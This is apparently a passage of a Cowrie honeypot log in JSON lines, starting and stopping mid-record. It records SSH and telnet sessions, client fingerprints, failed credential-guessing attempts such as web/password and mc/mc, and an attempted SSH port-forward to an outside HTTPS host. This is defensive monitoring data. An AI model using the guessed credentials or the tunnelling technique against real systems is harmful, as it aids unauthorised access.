0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:30.281128Z","src_ip":"123.27.168.40","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:30.754429Z","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:30.946167Z","src_ip":"45.153.34.195","session":"8a98b586980d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:30.990812Z","src_ip":"123.27.168.40","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6\\x86*\\xe0\\xc4\\xdfO\\x04\\x83c`\\x8fZR\"\\xf1\\xf4\\xdc\\x14h\\xeb1\\xf1\\xae\\x1f+\\xb6\\xb8\\x98Kc9 \\x1b:\\xfa(\\xf5}`\\xae\\xaes\\x17\\\\2\\xe97\\x11\\x93\\xf6\\xe6;\\xac\\x0c\\xc1\\xd6\\x1d\\xef\\xaf\\xaaO2\\xfa\\xb4\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\xc2\\xa6\\x96\\xdb\\xa5\\x18y(\\t\\xf1C\\x89\\xfcv\\xc9\\xd70Js\\xd1\\xc1\\x84b\\x9a\\xc5P\\x02(N\\xcc\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6\\x86*\\xe0\\xc4\\xdfO\\x04\\x83c`\\x8fZR\"\\xf1\\xf4\\xdc\\x14h\\xeb1\\xf1\\xae\\x1f+\\xb6\\xb8\\x98Kc9 \\x1b:\\xfa(\\xf5}`\\xae\\xaes\\x17\\\\2\\xe97\\x11\\x93\\xf6\\xe6;\\xac\\x0c\\xc1\\xd6\\x1d\\xef\\xaf\\xaaO2\\xfa\\xb4\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\xc2\\xa6\\x96\\xdb\\xa5\\x18y(\\t\\xf1C\\x89\\xfcv\\xc9\\xd70Js\\xd1\\xc1\\x84b\\x9a\\xc5P\\x02(N\\xcc\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:30.994043Z","src_ip":"123.27.168.40","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:31.398983Z","src_ip":"123.27.168.40","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.55550694465637,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:31.960796Z","src_ip":"107.6.151.170","session":"d7554572c3b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25940,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d2d9314eabc","protocol":"ssh","message":"New connection: 45.153.34.195:25940 (10.17.0.5:22) [session: 1d2d9314eabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:32.279555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:32.286392Z","src_ip":"45.153.34.195","session":"1d2d9314eabc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:32.372967Z","src_ip":"45.153.34.195","session":"1d2d9314eabc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22278,"dst_ip":"10.17.0.5","dst_port":22,"session":"6031a2c24469","protocol":"ssh","message":"New connection: 91.92.40.36:22278 (10.17.0.5:22) [session: 6031a2c24469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:32.566802Z"}
{"eventid":"cowrie.login.failed","username":"web","password":"password","message":"login attempt [web/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:32.841655Z","src_ip":"45.153.34.195","session":"1d2d9314eabc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:32.998357Z","src_ip":"91.92.40.36","session":"6031a2c24469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:33.776806Z","src_ip":"91.92.40.36","session":"6031a2c24469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:33.926587Z","src_ip":"45.153.34.195","session":"1d2d9314eabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.3718318939209,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:34.455835Z","src_ip":"107.6.151.170","session":"81643e93c1e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25946,"dst_ip":"10.17.0.5","dst_port":22,"session":"edb4da164952","protocol":"ssh","message":"New connection: 45.153.34.195:25946 (10.17.0.5:22) [session: edb4da164952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:35.145497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:35.155927Z","src_ip":"45.153.34.195","session":"edb4da164952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:35.362542Z","src_ip":"45.153.34.195","session":"edb4da164952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mc","message":"login attempt [mcserver/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:35.641123Z","src_ip":"45.153.34.195","session":"edb4da164952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:36.825216Z","src_ip":"45.153.34.195","session":"edb4da164952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40698,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3ad7086c77e","protocol":"ssh","message":"New connection: 91.92.40.36:40698 (10.17.0.5:22) [session: a3ad7086c77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:37.323423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:38.067043Z","src_ip":"91.92.40.36","session":"a3ad7086c77e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:38.070932Z","src_ip":"91.92.40.36","session":"a3ad7086c77e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25952,"dst_ip":"10.17.0.5","dst_port":22,"session":"410f7d9b264c","protocol":"ssh","message":"New connection: 45.153.34.195:25952 (10.17.0.5:22) [session: 410f7d9b264c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:38.145035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:38.317964Z","src_ip":"45.153.34.195","session":"410f7d9b264c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:38.322892Z","src_ip":"45.153.34.195","session":"410f7d9b264c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:38.810302Z","src_ip":"45.153.34.195","session":"410f7d9b264c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:40.008120Z","src_ip":"45.153.34.195","session":"410f7d9b264c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25968,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6bc33576e16","protocol":"ssh","message":"New connection: 45.153.34.195:25968 (10.17.0.5:22) [session: e6bc33576e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:41.045430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:41.050016Z","src_ip":"45.153.34.195","session":"e6bc33576e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","c